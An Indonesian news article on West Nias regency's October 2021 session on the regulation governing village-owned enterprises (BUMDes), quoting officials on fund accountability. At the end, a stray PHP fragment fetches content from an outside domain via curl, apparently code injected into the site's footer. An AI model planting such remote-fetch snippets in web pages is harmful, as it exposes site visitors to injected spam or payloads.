Pemkab Nias Barat Laksanakan Sosialisasi Tentang Tata Cara Pengelolaan BUMDes TA 2021

Kamis, 14 Oktober 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info l Nias

Nias Barat – Pemerintah Kabupaten (Pemkab) Nias Barat menggelar Rapat sosialisasi peraturan Bupati Nias Barat Nomor 28 tahun 2021 tentang tata cara pengelolaan Badan Usaha Milik Desa, menuju Desa yang sejahtera dan maju. Sosialisasi ini di laksanakan di Tokosa hall, Onolimbu Lahomi pada hari Rabu, (13/10/2021).

Sekda Nias Barat Prof Dr Fakhili Gulo M.Sc. Membuka resmi sosialisasi perbup nomor 28 tahun 2021 sekaligus sebagai narasumber pada sosialisasi ini

Baca Juga:  Ujian SKB CPNS di Kabupaten Nias Barat Terlaksana Lancar dan Sukses

Sekda menyampaikan beberapa materi tentang pengelola dana BUMdes di setiap desa di Kabupaten Nias Barat.

Wakil Bupati Nias Barat Dr Era-era Hia M.M.,M.Si menegaskan, bagi Direktur dan pengurus BUMdes di setiap desa jangan bermain main pada dana BUMdes ini. “Administrasinya dilengkapi sesuai dengan aturan yang ada,” Tegas Wabup.

Lanjutnya,” BUMdes Ini bila ada masalah bukan kepada Kepala Desa ditanya tetapi di tanya sama Direktur BUMdesnya Kades hanya sebagai pengawasan, yang bertanggung jawab penuh adalah Direktur BUMdes Sebagai ketua dan direksinya juga bendaharanya. Uangnya tidak boleh disimpan sendiri oleh pengurus Bumdes. Penghasilan Bumdes Uang disimpan di BANK terdekat,” Ujarnya.

Baca Juga:  Peringati HUT Humas Polri ke-71, Polres Nias dan PMI Kabupaten Nias Gelar Aksi Donor Darah

Masih menurut Wabup, Perlu dikembangkan BUMdes disetiap desa agar perekonomian masyarakat bisa di tingkatkan dan juga pendapatan desa, agar bisa bersaing di daerah daerah lain, harapnya.

Baca Juga:  Silaturahmi Ke Mahkamah Agung, Kapolri Bahas Tilang Elektronik 

Sekretaris PMD Balasia Gulo pada laporannya tentang pelaksanaan Sosialisasi Peraturan Bupati Nias Barat Nomor 28 Tahun 2021 Tentang BUMdes hari ini dilaksanakan pada tanggal 12/10/2021 di tokosa hall onolimbu lahomi, anggaran pelaksanaan sosialisasi ini diambil dari Anggaran DPA dinas PMD tahun 2021.

Pada Sosialisasi ini terdiri dari 105 orang Kepala desa, 3 Orang perdesa pengurus BUMdes, 8 Orang Camat sekabupaten Nias Barat,OPD Kabupaten Nias Barat.(TMZ)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter
Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral
Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah
Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024
DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan
Ketua DPRD Lampung Selatan Erma Yusneli menghadiri upacara tabur HUT Ke-79 TNI tahun 2024
BRI Pringsewu Gelar Panen Hadiah Simpedes 2024, Masyarakat Antusias Bahagia 
Wujudkan Segitiga Emas, Pj Gubernur Lampung Ingin Jadikan Pringsewu Sebagai Kotamadya
Tag :

Berita Terkait

Senin, 7 Oktober 2024 - 00:03 WIB

Buset!! Kendaraan Coldiesel BE 8759 PL yang  Terbalik  Ternyata Memuat BBM Ilegal Jenis Pertalite Mencapai Ribuan Liter

Minggu, 6 Oktober 2024 - 22:49 WIB

Bawaslu Pesawaran Kebut Selesaikan Kasus Pelanggaran Camat tidak Netral

Minggu, 6 Oktober 2024 - 17:31 WIB

Regulasi Vs Kesejahteraan: Pertarungan Masyarakat Tembelok dalam Penambangan Timah

Minggu, 6 Oktober 2024 - 09:51 WIB

Camat Negerikaton Terjaring, Ketua Bawaslu Lampung Ingatkan Netralitas ASN di Pilkada 2024

Sabtu, 5 Oktober 2024 - 21:10 WIB

DPRD Lampung Selatan, Menggelar Rapat Paripurna Menetapkan Usulan Pimpinan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>